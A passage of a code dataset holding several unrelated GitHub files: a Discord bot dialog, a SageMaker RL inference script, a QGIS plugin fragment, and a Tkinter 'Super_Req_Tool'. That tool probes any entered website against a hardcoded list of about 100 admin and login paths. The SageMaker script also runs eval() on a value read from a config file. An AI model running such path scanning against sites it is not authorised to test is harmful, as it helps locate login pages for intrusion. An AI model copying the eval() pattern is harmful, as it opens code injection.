response: bool\n        \"\"\"\n        self.ctx = ctx\n        channel: discord.TextChannel = ctx.channel\n        author: discord.Member = ctx.author\n        message: discord.Message = ctx.message\n\n        if self.embed is None:\n            self.page_message = await channel.send(self.construct_std_page_msg())\n        else:\n            self.page_message = await channel.send(self.construct_std_page_msg(), embed=self.embed)\n\n        try:\n            await self.page_message.add_reaction(\"✅\")\n            await self.page_message.add_reaction(\"❌\")\n        except discord.Forbidden as e:\n            await ctx.send(\n                f\"CRITICAL ERROR!!! \\n{ctx.guild.me.name} does not have the `Add Reactions` permissions!. Please have an Admin fix this issue and try again.\")\n            raise e\n\n\n        def react_check(_reaction: discord.Reaction, _user):\n            self.LOG.info(\"Checking Reaction: Reacted Message: {}, orig message: {}\".format(_reaction.message.id,\n                                                                                            self.page_message.id))\n\n            return _user == ctx.author and (str(_reaction.emoji) == '✅' or str(_reaction.emoji) == '❌')\n\n\n        try:\n            reaction, react_user = await self.ctx.bot.wait_for('reaction_add', timeout=self.timeout, check=react_check)\n            if str(reaction.emoji) == '✅':\n                self.response = True\n                await self.remove()\n                await self.callback(self, self.ctx.bot, ctx, True)\n                return True\n            elif str(reaction.emoji) == '❌':\n                self.response = False\n                await self.remove()\n                await self.callback(self, self.ctx.bot, ctx, False)\n                return False\n\n        except asyncio.TimeoutError:\n            await self.remove()\n            return None\n", "repo_name": "amadea-system/void", "sub_path": "src/utils/uiElements.py", "file_name": "uiElements.py", "file_ext": "py", "file_size_in_byte": 6987, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.Optional", "line_number": 50, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 50, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 51, "usage_type": "name"}, {"api_name": "discord.Message", "line_number": 51, "usage_type": "attribute"}, {"api_name": "discord.Message", "line_number": 60, "usage_type": "attribute"}, {"api_name": "dataclasses.dataclass", "line_number": 47, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 74, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 76, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 77, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 77, "usage_type": "name"}, {"api_name": "discord.Embed", "line_number": 77, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 77, "usage_type": "name"}, {"api_name": "discord.Message", "line_number": 77, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 90, "usage_type": "name"}, {"api_name": "discord.Message", "line_number": 90, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 91, "usage_type": "name"}, {"api_name": "discord.Message", "line_number": 91, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Context", "line_number": 93, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 93, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 135, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 136, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 136, "usage_type": "name"}, {"api_name": "discord.Embed", "line_number": 136, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 136, "usage_type": "name"}, {"api_name": "discord.Message", "line_number": 136, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Context", "line_number": 146, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 146, "usage_type": "name"}, {"api_name": "discord.TextChannel", "line_number": 151, "usage_type": "attribute"}, {"api_name": "discord.Member", "line_number": 152, "usage_type": "attribute"}, {"api_name": "discord.Message", "line_number": 153, "usage_type": "attribute"}, {"api_name": "discord.Forbidden", "line_number": 163, "usage_type": "attribute"}, {"api_name": "discord.Reaction", "line_number": 169, "usage_type": "attribute"}, {"api_name": "asyncio.TimeoutError", "line_number": 189, "usage_type": "attribute"}]}
{"seq_id": "36192857438", "text": "import numpy as np\nimport json\nimport os\nimport collections\nimport re\nimport sys\nsys.path.append(\"neurips2020-procgen-starter-kit\")\n\nimport gym\nimport sagemaker\nimport boto3\n\nfrom rollout import default_policy_agent_mapping, keep_going, DefaultMapping, RolloutSaver\nfrom ray.rllib.policy.sample_batch import DEFAULT_POLICY_ID\nfrom ray.rllib.env.base_env import _DUMMY_AGENT_ID\nfrom ray.rllib.env import MultiAgentEnv\ntry:\n    from ray.rllib.evaluation.episode import _flatten_action\nexcept Exception:\n    # For newer ray versions\n    from ray.rllib.utils.space_utils import flatten_to_single_ndarray as _flatten_action\n\nfrom ray.rllib.evaluation.worker_set import WorkerSet\n\nfrom source.custom.callbacks import CustomCallbacks\n\ndef get_latest_sagemaker_training_job(name_contains):\n    sagemaker_session = sagemaker.Session()\n    sagemaker_client = boto3.client('sagemaker')\n    response = sagemaker_client.list_training_jobs(\n        NameContains=name_contains,\n        StatusEquals='Completed'\n    )\n    training_jobs = response['TrainingJobSummaries']\n    assert len(training_jobs) > 0, \"Couldn't find any completed training jobs with '{}' in name.\".format(name_contains)\n    latest_training_job = training_jobs[0]['TrainingJobName']\n    return latest_training_job\n\ndef download_ray_checkpoint(checkpoint_dir, s3_bucket, latest_training_job):\n    # Get last checkpoint\n    checkpoint_data = \"{}/{}/output/intermediate/training\".format(s3_bucket, latest_training_job)\n    checkpoint_bucket_key = \"/\".join(checkpoint_data.split(\"/\")[1:]) + \"/\"\n\n    s3 = boto3.client('s3')\n    intermediate = s3.list_objects_v2(Bucket=s3_bucket, Prefix=checkpoint_bucket_key, Delimiter='//')\n\n    last_checkpoint_num = 0\n    last_checkpoint_key = None\n\n    for content in intermediate['Contents']:\n        # Check params.json\n        if \"params.json\" in content[\"Key\"]:\n            with open('checkpoint/params.json', 'wb') as data:\n                s3.download_fileobj(s3_bucket, content[\"Key\"], data)\n\n        # Find the last checkpoint\n        checkpoint = re.search(r\"checkpoint-([0-9]+)\", content[\"Key\"])\n        if checkpoint is not None:\n            checkpoint_num = checkpoint.group(1)\n            if int(checkpoint_num) > last_checkpoint_num:\n                last_checkpoint_num = int(checkpoint_num)\n                last_checkpoint_key = content[\"Key\"]\n\n    with open('{}/checkpoint-{}'.format(checkpoint_dir, last_checkpoint_num), 'wb') as data:\n        s3.download_fileobj(s3_bucket, last_checkpoint_key, data)\n    with open('{}/checkpoint-{}.tune_metadata'.format(checkpoint_dir, last_checkpoint_num), 'wb') as data:\n        s3.download_fileobj(s3_bucket, last_checkpoint_key+\".tune_metadata\", data)\n    \n    return last_checkpoint_num\n\ndef get_model_config():\n    with open(os.path.join(\"checkpoint\", \"params.json\")) as f:\n        config = json.load(f)\n        \n    config[\"monitor\"] = False\n    config[\"num_workers\"] = 1\n    config[\"num_gpus\"] = 0\n\n    if 'callbacks' in config:\n        callback_cls_str = config['callbacks'] # \"<class 'custom.callbacks.CustomCallbacks'>\",\n        callback_cls = callback_cls_str.split(\"'\")[-2].split(\".\")[-1] # CustomCallbacks\n        config['callbacks'] = eval(callback_cls)\n            \n    return config\n\ndef rollout(agent,\n            env_name,\n            num_steps,\n            num_episodes=0,\n            saver=None,\n            no_render=True,\n            video_dir=None):\n    # Adapted from https://github.com/AIcrowd/neurips2020-procgen-starter-kit/blob/master/rollout.py#L349\n    policy_agent_mapping = default_policy_agent_mapping\n    \n    if saver is None:\n        saver = RolloutSaver()\n\n    if hasattr(agent, \"workers\") and isinstance(agent.workers, WorkerSet):\n        #env = agent.workers.local_worker().env\n        env = gym.make(env_name, render_mode=\"rgb_array\")\n        multiagent = isinstance(env, MultiAgentEnv)\n        if agent.workers.local_worker().multiagent:\n            policy_agent_mapping = agent.config[\"multiagent\"][\n                \"policy_mapping_fn\"]\n\n        policy_map = agent.workers.local_worker().policy_map\n        state_init = {p: m.get_initial_state() for p, m in policy_map.items()}\n        use_lstm = {p: len(s) > 0 for p, s in state_init.items()}\n    else:\n        env = gym.make(env_name)\n        multiagent = False\n        try:\n            policy_map = {DEFAULT_POLICY_ID: agent.policy}\n        except AttributeError:\n            raise AttributeError(\n                \"Agent ({}) does not have a `policy` property! This is needed \"\n                \"for performing (trained) agent rollouts.\".format(agent))\n        use_lstm = {DEFAULT_POLICY_ID: False}\n\n    action_init = {\n        p: _flatten_action(m.action_space.sample())\n        for p, m in policy_map.items()\n    }\n\n    steps = 0\n    episodes = 0\n    rgb_array = []\n    \n    while keep_going(steps, num_steps, episodes, num_episodes):\n        mapping_cache = {}  # in case policy_agent_mapping is stochastic\n        saver.begin_rollout()\n        obs = env.reset()\n        agent_states = DefaultMapping(\n            lambda agent_id: state_init[mapping_cache[agent_id]])\n        prev_actions = DefaultMapping(\n            lambda agent_id: action_init[mapping_cache[agent_id]])\n        prev_rewards = collections.defaultdict(lambda: 0.)\n        done = False\n        reward_total = 0.0\n        episode_steps = 0\n        while not done and keep_going(steps, num_steps, episodes,\n                                      num_episodes):\n            multi_obs = obs if multiagent else {_DUMMY_AGENT_ID: obs}\n            action_dict = {}\n            for agent_id, a_obs in multi_obs.items():\n                if a_obs is not None:\n                    policy_id = mapping_cache.setdefault(\n                        agent_id, policy_agent_mapping(agent_id))\n                    p_use_lstm = use_lstm[policy_id]\n                    if p_use_lstm:\n                        a_action, p_state, _ = agent.compute_action(\n                            a_obs,\n                            state=agent_states[agent_id],\n                            prev_action=prev_actions[agent_id],\n                            prev_reward=prev_rewards[agent_id],\n                            policy_id=policy_id)\n                        agent_states[agent_id] = p_state\n                    else:\n                        a_action = agent.compute_action(\n                            a_obs,\n                            prev_action=prev_actions[agent_id],\n                            prev_reward=prev_rewards[agent_id],\n                            policy_id=policy_id)\n                    a_action = _flatten_action(a_action)  # tuple actions\n                    action_dict[agent_id] = a_action\n                    prev_actions[agent_id] = a_action\n            action = action_dict\n\n            action = action if multiagent else action[_DUMMY_AGENT_ID]\n            next_obs, reward, done, info = env.step(action)\n            episode_steps += 1\n            if multiagent:\n                for agent_id, r in reward.items():\n                    prev_rewards[agent_id] = r\n            else:\n                prev_rewards[_DUMMY_AGENT_ID] = reward\n\n            if multiagent:\n                done = done[\"__all__\"]\n                reward_total += sum(reward.values())\n            else:\n                reward_total += reward\n            if not no_render:\n                rgb_array.append(env.render(mode='rgb_array'))\n            saver.append_step(obs, action, next_obs, reward, done, info)\n            steps += 1\n            obs = next_obs\n        saver.end_rollout()\n        print(\"Episode #{}: reward: {} steps: {}\".format(episodes, reward_total, episode_steps))\n        if done:\n            episodes += 1\n    return rgb_array", "repo_name": "aws-samples/sagemaker-rl-procgen-ray", "sub_path": "sagemaker/source/utils/inference.py", "file_name": "inference.py", "file_ext": "py", "file_size_in_byte": 7714, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 16, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.append", "line_number": 7, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "sagemaker.Session", "line_number": 28, "usage_type": "call"}, {"api_name": "boto3.client", "line_number": 29, "usage_type": "call"}, {"api_name": "boto3.client", "line_number": 44, "usage_type": "call"}, {"api_name": "re.search", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 73, "usage_type": "call"}, {"api_name": "rollout.default_policy_agent_mapping", "line_number": 94, "usage_type": "name"}, {"api_name": "rollout.RolloutSaver", "line_number": 97, "usage_type": "call"}, {"api_name": "ray.rllib.evaluation.worker_set.WorkerSet", "line_number": 99, "usage_type": "argument"}, {"api_name": "gym.make", "line_number": 101, "usage_type": "call"}, {"api_name": "ray.rllib.env.MultiAgentEnv", "line_number": 102, "usage_type": "argument"}, {"api_name": "gym.make", "line_number": 111, "usage_type": "call"}, {"api_name": "ray.rllib.policy.sample_batch.DEFAULT_POLICY_ID", "line_number": 114, "usage_type": "name"}, {"api_name": "ray.rllib.policy.sample_batch.DEFAULT_POLICY_ID", "line_number": 119, "usage_type": "name"}, {"api_name": "ray.rllib.utils.space_utils.flatten_to_single_ndarray", "line_number": 122, "usage_type": "call"}, {"api_name": "rollout.keep_going", "line_number": 130, "usage_type": "call"}, {"api_name": "rollout.DefaultMapping", "line_number": 134, "usage_type": "call"}, {"api_name": "rollout.DefaultMapping", "line_number": 136, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 138, "usage_type": "call"}, {"api_name": "rollout.keep_going", "line_number": 142, "usage_type": "call"}, {"api_name": "ray.rllib.env.base_env._DUMMY_AGENT_ID", "line_number": 144, "usage_type": "name"}, {"api_name": "ray.rllib.utils.space_utils.flatten_to_single_ndarray", "line_number": 165, "usage_type": "call"}, {"api_name": "ray.rllib.env.base_env._DUMMY_AGENT_ID", "line_number": 170, "usage_type": "name"}, {"api_name": "ray.rllib.env.base_env._DUMMY_AGENT_ID", "line_number": 177, "usage_type": "name"}]}
{"seq_id": "28562064321", "text": "from tkinter import *\nimport time\nimport requests\n\ncheckpage = False\nurl = None\nresponse = None\ncheck_bool = False\n\nclass App:\n    def __init__(self):\n        \n        self.main_page = Tk()\n\n        #---------Configs--------\n\n        self.config_title = \"Super_Req_Tool\"\n        self.background_color = \"#000000\"\n        self.foreground_color = \"#FFFFFF\"\n        self.config_width = 600\n        self.config_height = 600\n        self.config_resizable = [False,False]\n\n        #--------load functions-------\n\n        self.load_configs()\n        self.load_objects()\n        self.load_buttons()\n\n        #-------mainloop--------\n        \n        mainloop()\n\n    #---------------Screen settings-----------\n\n    def load_configs(self):\n        self.main_page.title(self.config_title)\n        self.main_page.config(background = self.background_color,width = self.config_width,height = self.config_height)\n        self.main_page.resizable(self.config_resizable[0],self.config_resizable[1])\n        \n    def load_objects(self):\n        first_Page_Title = Label(\n            self.main_page,\n            text = \"Ŝűҏԙ ȐȅɊ ƬƟǾȈ\",\n            bg = self.background_color,\n            foreground=\"#FF0000\",\n            font=(\"arial\", 26 ,\"bold\")\n        )\n        first_Info1 = Label(\n            self.main_page,\n            text =\"Welcome to the super reg tool.\",\n            bg = self.background_color,\n            foreground =\"#530896\",\n            font =(\"arial\",20,\"bold\")\n        )\n        first_Info2 =Label(\n            self.main_page,\n            text = \"\"\"Here you will have a graphical environment\\n to get rid of the console environment.\"\"\",\n            bg = self.background_color,\n            foreground =  \"#530896\",\n            font = (\"arial\",20,\"bold\")\n        )\n        first_Info3 =Label(\n            self.main_page,\n            text = \"With this tool you can:\",\n            bg = self.background_color,\n            foreground =  \"#530896\",\n            font = (\"arial\",20,\"bold\")\n        )\n        first_Info4 =Label(\n            self.main_page,\n            text = \"• Make requests to websites\\n and see the result.\",\n            bg = self.background_color,\n            foreground =  \"#00FF0F\",\n            font = (\"arial\",20,\"bold\")\n        )\n        first_Info5 =Label(\n            self.main_page,\n            text = \"• To find the main pages of the website.\",\n            bg = self.background_color,\n            foreground =  \"#00FF0F\",\n            font = (\"arial\",20,\"bold\")\n        )\n        first_Info1.place(x = 15,y = 100)\n        first_Info2.place(x = 15,y = 132)\n        first_Info3.place(x = 15,y = 197)\n        first_Info4.place(x = 15,y = 300)\n        first_Info5.place(x = 15,y = 400)\n        first_Page_Title.place(x = 300 ,y =33,anchor=\"center\")\n\n        \n#-----------Button Settings---------------        \n\n    def load_buttons(self):\n        start_Button = Button(\n            self.main_page,\n            text = \"START\",\n            bg =self.background_color,\n            foreground = \"#F7FF00\",\n            font = (\"Arial\",16,\"bold\"),\n            border = 4,\n            padx =4,\n            pady =4,\n            activeforeground=\"#00FF0F\",\n            activebackground=self.background_color,\n            command =(self.start_button_click)\n            \n            \n        )\n        about_button =Button(\n            self.main_page,\n            text =\"About\",\n            bg = self.background_color,\n            fg =\"#00FFA2\",\n            width= 2,\n            height =1,\n            activeforeground =\"#F7FF00\",\n            activebackground =\"#000000\",\n            border=2,\n            command = (self.about_button_click)\n        )\n            \n        about_button.place(x = 10 , y = 5 )\n        start_Button.place(x = 450,y =500)\n\n        #----------clickbuttons Setting-----------\n\n    def about_button_click(self):\n\n        about_window = About()\n\n    def start_button_click(self):\n        global checkpage\n        checkpage = True\n        close_open =print(\"Main page closed\\nTool page open\")\n        self.main_page.destroy()\n        \n        return (close_open)\n        \nclass Error:\n    def __init__(self):\n        self.error_page =Tk()\n\n        #-----------configs-----------------\n\n        self.config_title = \"ERROR\"\n        self.config_background = \"#000000\"\n        self.config_foreground =\"#FF0000\"\n        self.config_width = 300\n        self.config_height = 200\n\n        #------------Load Obj---------------\n\n        self.error_window()\n        self.error_labels()\n\n        #------------call mainloop----------\n\n        self.error_page.mainloop()\n\n    #--------------Screen Settings------------\n\n    def error_window(self):\n        self.error_page.title (self.config_title)\n        self.error_page.config(bg =self.config_background,width=self.config_width,height=self.config_height)\n        self.error_page.resizable(False,False)\n        \n    def error_labels(self):\n        self.errorlabel1 = Label(\n            self.error_page,\n            text = \"There was a problem with\",\n            bg =self.config_background,\n            fg = self.config_foreground,\n            font = (\"arial\",16,\"bold\")\n        )\n        self.errorlabel2 = Label(\n            self.error_page,\n            text = \"the program.Reopen the\",\n            bg =self.config_background,\n            fg = self.config_foreground,\n            font = (\"arial\",16,\"bold\")\n        )\n        self.errorlabel3 = Label(\n            self.error_page,\n            text = \"application or enter another\",\n            bg =self.config_background,\n            fg = self.config_foreground,\n            font = (\"arial\",16,\"bold\")\n        )\n        self.errorlabel4 = Label(\n            self.error_page,\n            text = \"value.\",\n            bg =self.config_background,\n            fg = self.config_foreground,\n            font = (\"arial\",16,\"bold\")\n        )\n        self.errorlabel1.place(x = 10 , y = 10 )\n        self.errorlabel2.place(x = 10 , y = 40)\n        self.errorlabel3.place(x = 10 , y = 70)\n        self.errorlabel4.place(x = 10 , y = 100)\n\nclass Not_found:\n    def __init__(self):\n        self.not_found_page =Tk()\n\n        #-----------configs-----------------\n\n        self.config_title = \"NOT FOUND\"\n        self.config_background = \"#000000\"\n        self.config_foreground =\"#FF0000\"\n        self.config_width = 300\n        self.config_height = 120\n\n        #------------Load Obj---------------\n\n        self.not_found_window()\n        self.not_found_labels()\n\n        #------------call mainloop----------\n\n        self.not_found_page.mainloop()\n\n    #--------------Screen Settings------------\n\n    def not_found_window(self):\n        self.not_found_page.title (self.config_title)\n        self.not_found_page.config(bg =self.config_background,width=self.config_width,height=self.config_height)\n        self.not_found_page.resizable(False,False)\n        \n    def not_found_labels(self):\n        self.notfoundlabel1 = Label(\n            self.not_found_page,\n            text = \"Search completed.\",\n            bg =self.config_background,\n            fg = self.config_foreground,\n            font = (\"arial\",16,\"bold\")\n        )\n        self.notfoundlabel2 = Label(\n            self.not_found_page,\n            text = \"And no result was found.\",\n            bg =self.config_background,\n            fg = self.config_foreground,\n            font = (\"arial\",16,\"bold\")\n        )\n        self.notfoundlabel3 = Label(\n            self.not_found_page,\n            text = \"Please try again.\",\n            bg =self.config_background,\n            fg = self.config_foreground,\n            font = (\"arial\",16,\"bold\")\n        )\n        self.notfoundlabel1.place(x = 10 , y = 10 )\n        self.notfoundlabel2.place(x = 10 , y = 40)\n        self.notfoundlabel3.place(x = 10 , y = 70)\n\n\nclass Labels:\n    def __init__(self,linkshow):\n        self.labels_page =Tk()\n\n        #-----------configs--------------\n\n        self.labels_title = \"Result\"\n        self.labels_background_color =\"#000000\"\n        self.labels_foreground_color = \"#00FF0F\"\n        self.labels_width = 300\n        self.labels_height = 60\n        self.labels_showurl = linkshow\n\n        #--------------call obj------------\n\n        self.config_labels_window()\n        self.linklabels_show()\n\n        #--------------mainloop------------\n\n        mainloop()\n\n    #-------------Screen Settings--------------\n    \n    def config_labels_window(self):\n        self.labels_page.title(self.labels_title)\n        self.labels_page.config(\n            bg =self.labels_background_color,\n            width =self.labels_width,\n            height =self.labels_height\n        )\n        self.labels_page.resizable(False,False)\n    \n    def linklabels_show(self):\n        urllabel = Label(\n            self.labels_page,\n            text = self.labels_showurl,\n            bg =self.labels_background_color,\n            fg = self.labels_foreground_color,\n        )\n        urllabel.place(x =10, y =20)\n    \n\nclass Tool:\n    def __init__(self):\n        self.super_req = Tk()\n        \n        #-------------configs---------------\n\n        self.config_title = \"Super_Req_Tool\"\n        self.config_width = 600\n        self.config_height = 600\n        self.config_backgroundcolor = \"#000000\"\n        self.config_resizable =[False,False]\n\n        #------------load Founction------------\n\n        self.config_windo()\n        self.config_labels()\n        self.config_entry()\n        self.config_buttons()\n\n        #----------------mainloop---------------\n\n        mainloop()\n\n    #---------------Screen Settings--------------\n\n    def config_windo(self):\n        self.super_req.title(self.config_title)\n        self.super_req.config(width=self.config_width,height=self.config_height,bg=self.config_backgroundcolor)\n        self.super_req.resizable (self.config_resizable[0],self.config_resizable[1])\n    \n    def config_labels(self):\n        self.titel_label = Label(\n            self.super_req,\n            text = \"Ŝűҏԙ ȐȅɊ ƬƟǾȈ\",\n            bg = self.config_backgroundcolor,\n            foreground=\"#FF0000\",\n            font=(\"arial\", 22 ,\"bold\")\n        )\n        self.help_label =Label(\n            self.super_req,\n            text = \"\"\"To start the tool, you must enter the link of\\n the desired site in the box below.Example:\\n https://exampel.com or exampel.com\"\"\",\n            bg =self.config_backgroundcolor,\n            fg= \"#0023FF\",\n            font =(\"Arial\",18,\"bold\")\n        )\n        self.help_label.place(x =300,y=100,anchor =\"center\")\n        self.titel_label.place(x =300, y =30,anchor = \"center\")\n\n    def config_entry(self):\n        self.get_string = Entry(\n            self.super_req,\n            width = 30\n        )\n        self.get_string.place (x =350, y = 200,anchor =\"center\")\n        global url\n        url = self.get_string\n\n    def config_buttons(self):\n        self.search_button = Button(\n            self.super_req,\n            text =\"Search\",\n            bg =self.config_backgroundcolor,\n            fg = \"#ffffff\",\n            activebackground =self.config_backgroundcolor,\n            activeforeground =\"#00FF0F\",\n            border =4,\n            width =8 ,\n            height =1,\n            command =(self.search_botton_click)\n        )\n        self.search_button.place (x= 170, y =200,anchor =\"center\")\n\n    #------------click button setting------------\n    \n    def search_botton_click(self):\n        url = self.get_string.get()\n        if \"https://\" not in url:\n            url = (\"https://\"+ url)\n            self.requests_site(url)\n            \n        else:\n            url = url\n            self.requests_site(url)\n        \n    def requests_tool_on(self,urllink):\n        self.pathlist = ['admin/','administrator/','login.php','administration/','masters','admin1/','admin2/','admin3/','admin4/','admin5/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',\n        'memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp','admin/index.asp','admin/login.asp','admin/admin.asp','/login.aspx',\n        'admin_area/admin.asp','admin_area/login.asp','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',\n        'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp','bb-admin/admin.asp',\n        'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',\n        'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',\n        'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',\n        'admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','admin/cp.asp','cp.asp',\n        'administrator/account.asp','administrator.asp','acceso.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','administrator/login.asp',\n        'moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','administration','pages/admin/admin-login.html','admin/admin-login.html',\n        'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','admincp/login.asp','admincp/index.html',\n        'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',\n        'panel-administracion/index.html']\n        self.count_link = 0 \n        self.perfect_link_list = []\n        for row in self.pathlist :\n            self.perfect_urllink = (urllink + \"/\" + row)\n            self.response_urllink = requests.get(self.perfect_urllink)\n            if self.response_urllink.status_code == 200:\n                self.count_link  = self.count_link + 1\n                self.perfect_link_list.append(self.perfect_urllink)\n        if self.count_link != 0 :\n            self.labels_on(self.perfect_link_list)\n        else:\n            not_found_page = Not_found()\n               \n    def labels_on(self,count):\n        self.super_req.destroy()\n        for i in count:\n            create_labels = Labels(i)\n            \n        \n\n    def requests_site(self,link):\n        try:\n            global response\n            response = requests.get(link)\n            if response.status_code == 200:\n                print(\"The program is running.please wait...\")\n                self.requests_tool_on(link)\n            elif response.status_code != 200:\n                self.error = Error()\n        except:\n            self.except_error =Error()\n\n\nclass About:\n    def __init__(self):\n        self.about_page =Tk()\n\n        #-----------configs--------------\n\n        self.about_title = \"About\"\n        self.about_background_color =\"#000000\"\n        self.about_foreground_color = \"#F000FF\"\n        self.about_width = 500\n        self.about_height = 500\n\n        #--------------call obj------------\n\n        self.config_about_window()\n        self.about_labels()\n\n        #--------------mainloop------------\n\n        mainloop()\n\n    #-------------Screen Settings--------------\n    def config_about_window(self):\n        self.about_page.title(self.about_title)\n        self.about_page.config(\n            bg =self.about_background_color,\n            width =self.about_width,\n            height =self.about_height\n        )\n        self.about_page.resizable(False,False)\n\n    def about_labels(self):\n        about_label = Label(\n            self.about_page,\n            text =\"With this graphic program, you\\n can easily do things (requests)\\nWithout special expertise.\",\n            bg = \"#000000\",\n            fg = self.about_foreground_color,\n            font =(\"Arial\",23,\"bold\")\n\n        )\n        about_label.place(x =250,y =250,anchor =\"center\")\n\n\n#-----cal obj----------\n\napplicatin = App()\nif checkpage == True:\n    time.sleep(1.0)\n    toolpage = Tool()\nelse:\n    print(\"Something went wrong please try agin!\")\n\n\n\n", "repo_name": "Nounless/Super_Req_Tool", "sub_path": "requests_GUI/Super_req_tool.py", "file_name": "Super_req_tool.py", "file_ext": "py", "file_size_in_byte": 16229, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.get", "line_number": 402, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 421, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 478, "usage_type": "call"}]}
{"seq_id": "25859623161", "text": "from __future__ import annotations\nimport os, qgis, osgeo, datetime, sys\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom LinearReferencing import tools, dialogs\nfrom LinearReferencing.icons import resources\n\nfrom LinearReferencing.tools.MyDebugFunctions import debug_print\nfrom LinearReferencing.tools.MyDebugFunctions import get_debug_pos as gdp\n\nfrom LinearReferencing.tools.MyToolFunctions import qt_format\n\n\nclass PolEvt(qgis.gui.QgsMapToolEmitPoint):\n    \"\"\"MapTool for Digitize Point-Events via reference-line and measured distance to startpoint\"\"\"\n    # Rev. 2023-04-22\n    my_dialogue = None\n\n    # IDs for identifying the layer-actions in dataLyr and showLyr, other IDs then DigitzeLineEvent\n    _lyr_act_id_1 = QtCore.QUuid('12345678-abcd-4321-dcba-0123456789ab')\n    _lyr_act_id_2 = QtCore.QUuid('87654321-DCBA-1234-abcd-ba9876543210')\n\n    # settings self.ss can be stored for later restore, f.e. if the Pluigin is used for multiple LinearReference-Layers in the same project\n    _num_storable_settings = 100\n\n    class StoredSettings:\n        \"\"\"template for self.ss ➜ stored settings, string-vars, stored in QGis-Project and dataLyr\n        defined with property-getter-and-setter to register any user-setting-changes,\n        which then set the QGis-Project \"dirty\" and have these changes stored on project-unload with save\n        so every write-access to these properties, that should should not set the \"dirty\"-Flag, must be done to the _internal-properties\n        see store/restore_settings()\n        \"\"\"\n        # Rev. 2023-04-27\n        _refLyrId = None\n\n        @property\n        def refLyrId(self):\n            \"\"\"ID of Reference-Layer\"\"\"\n            return self._refLyrId\n\n        @refLyrId.setter\n        def refLyrId(self, value):\n            self._refLyrId = value\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        _refLyrIdFieldName = None\n\n        @property\n        def refLyrIdFieldName(self):\n            \"\"\"Name of PK-Field in Reference-Layer\"\"\"\n            return self._refLyrIdFieldName\n\n        @refLyrIdFieldName.setter\n        def refLyrIdFieldName(self, value):\n            self._refLyrIdFieldName = value\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        _dataLyrId = None\n\n        @property\n        def dataLyrId(self):\n            \"\"\"ID of Data-Layer\"\"\"\n            return self._dataLyrId\n\n        @dataLyrId.setter\n        def dataLyrId(self, value):\n            self._dataLyrId = value\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        _dataLyrIdFieldName = None\n\n        @property\n        def dataLyrIdFieldName(self):\n            \"\"\"Name of PK-Field in Data-Layer\"\"\"\n            return self._dataLyrIdFieldName\n\n        @dataLyrIdFieldName.setter\n        def dataLyrIdFieldName(self, value):\n            self._dataLyrIdFieldName = value\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        _dataLyrReferenceFieldName = None\n\n        @property\n        def dataLyrReferenceFieldName(self):\n            \"\"\"Name of Reference-Field in Data-Layer\"\"\"\n            return self._dataLyrReferenceFieldName\n\n        @dataLyrReferenceFieldName.setter\n        def dataLyrReferenceFieldName(self, value):\n            self._dataLyrReferenceFieldName = value\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        _dataLyrMeasureFieldName = None\n\n        @property\n        def dataLyrMeasureFieldName(self):\n            \"\"\"Name of Measure-Field in Data-Layer\"\"\"\n            return self._dataLyrMeasureFieldName\n\n        @dataLyrMeasureFieldName.setter\n        def dataLyrMeasureFieldName(self, value):\n            self._dataLyrMeasureFieldName = value\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        _showLyrId = None\n\n        @property\n        def showLyrId(self):\n            \"\"\"ID of Show-Layer\"\"\"\n            return self._showLyrId\n\n        @showLyrId.setter\n        def showLyrId(self, value):\n            self._showLyrId = value\n            qgis.core.QgsProject.instance().setDirty(True)\n\n        